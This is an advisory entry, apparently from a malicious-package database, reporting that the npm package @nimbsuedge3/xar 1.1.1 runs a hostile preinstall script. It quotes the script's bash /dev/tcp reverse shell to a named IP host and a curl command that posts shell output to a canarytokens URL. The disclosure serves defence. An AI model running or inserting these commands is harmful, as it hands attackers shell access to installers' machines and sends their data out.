MAL-2026-16301

    Dashboard / Malicious Package / MAL-2026-16301

    MAL-2026-16301

    Published: 21 Sept 2026Last Modified: 21 Sept 2026

    Summary: Malicious code in @nimbsuedge3/xar (npm)

    Details: Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf) package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.

    References: https://www.npmjs.com/package/@nimbsuedge3/xar/v/1.1.1

    Affected packages

    Package

    Name: @nimbsuedge3/xar

    Purl: pkg:npm/%40nimbsuedge3/xar

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.1.1